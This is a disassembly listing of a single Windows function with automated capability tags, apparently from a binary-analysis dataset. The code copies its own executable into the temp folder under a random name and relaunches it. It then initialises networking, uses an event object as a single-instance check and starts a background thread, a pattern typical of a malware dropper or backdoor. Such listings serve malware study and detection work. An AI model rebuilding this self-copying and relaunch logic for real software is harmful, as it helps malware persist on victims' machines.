Function at 0x401320
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x7f0
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x7ec], eax
mov eax, dword [esp + 0x7f4]
push esi
push edi
xor esi, esi
push esi
push eax
push esi
push esi
push esi
push connect
push esi
push connect
push 0xcf0000
push 0x4246b0
push 0x4245e8
push esi
mov dword [0x424778], eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x401633
push 0x206
lea eax, [esp + 0x5ee]
push esi
push eax
mov word [esp + reloc.crypt32.dll_CertDeleteCRLFromStore], si
call fcn.0040f550
add esp, 0xc
push 0x206
lea ecx, [esp + 0x1de]
push esi
push ecx
mov word [esp + reloc.crypt32.dll_CertDeleteCRLFromStore], si
call fcn.0040f550
add esp, 0xc
push 0x206
lea edx, [esp + 0x3e6]
push esi
push edx
mov word [esp + reloc.crypt32.dll_CertDeleteCRLFromStore], si
call fcn.0040f550
add esp, 0xc
push 0x104
lea eax, [esp + 0x5ec]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0x41dc20
mov eax, 0x4251b8
lea ebx, [ebx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401416
cmp dx, si
je 0x401412
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401416
add eax, 4
add ecx, 4
cmp dx, si
jne 0x4013f0
xor eax, eax
jmp 0x40141b
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
je 0x4014dc
push 0x208
lea ecx, [esp + 0x1dc]
push esi
push ecx
call fcn.0040f550
add esp, 0xc
lea edx, [esp + 0x1d8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x208
lea eax, [esp + 0x3e4]
push esi
push eax
call fcn.0040f550
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040ad1b
add esp, 4
lea ecx, [esp + 0x3e0]
push ecx
push 6
mov eax, 7
call fcn.00403080
lea edx, [esp + 0x3e8]
push edx
lea eax, [esp + 0x1e4]
push eax
mov ecx, eax
push 0x41dc44
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
push esi
lea edx, [esp + 0x1dc]
push edx
lea eax, [esp + 0x5f0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
push esi
push 0x41dc20
lea ecx, [esp + 0x1e4]
push ecx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x424f38
call fcn.0040aaa0
add esp, 4
test eax, eax
jne 0x4015e9
push 0x3a
lea eax, [esp + 0x1a2]
push esi
push eax
mov word [esp + reloc.crypt32.dll_CertDeleteCRLFromStore], si
call fcn.0040f550
add esp, 0xc
lea edi, [esp + 0x19c]
call fcn.00401000
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + reloc.crypt32.dll_CertDeleteCRLFromStore]
mov word [eax + 0x4250e0], cx
add eax, 2
cmp cx, si
jne 0x401530
push 0x41dc58
push 0x40
push 0x424f3c
call fcn.0040ad4a
add esp, 0xc
push 0x41dc74
push 0x10
push 0x424fbe
mov word [0x424fbc], 0x51
call fcn.0040ad4a
add esp, 0xc
push 0x41dc80
push 0x40
push 0x424fde
call fcn.0040ad4a
add esp, 0xc
mov word [0x42505e], 0x2b66
xor eax, eax
jmp 0x4015a0
movzx ecx, word [esp + eax + reloc.crypt32.dll_CertDeleteCRLFromStore]
mov word [eax + 0x4250c0], cx
add eax, 2
cmp cx, si
jne 0x4015a0
mov eax, 0x4250c0
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
cmp cx, si
jne 0x4015c0
mov ecx, dword [0x41dc9c]
mov dx, word [0x41dca0]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x425100], 5
call fcn.004018d0
lea edi, [esp + 0x3e0]
call fcn.00401000
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + reloc.crypt32.dll_CertDeleteCRLFromStore]
mov word [eax + 0x425138], cx
add eax, 2
cmp cx, si
jne 0x401600
push 0x425138
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x40164c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x7ec]
xor ecx, esp
call fcn.0040ac62
add esp, 0x7f0
ret
push 0x425138
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401633
mov ecx, 0x4255d0
call fcn.00402820
mov eax, dword [0x425104]
push esi
push esi
push esi
push 0x401810
push esi
push esi
mov dword [0x4255d8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x7f4]
pop edi
pop esi
mov dword [0x423648], eax
xor ecx, esp
mov eax, 1
call fcn.0040ac62
add esp, 0x7f0
ret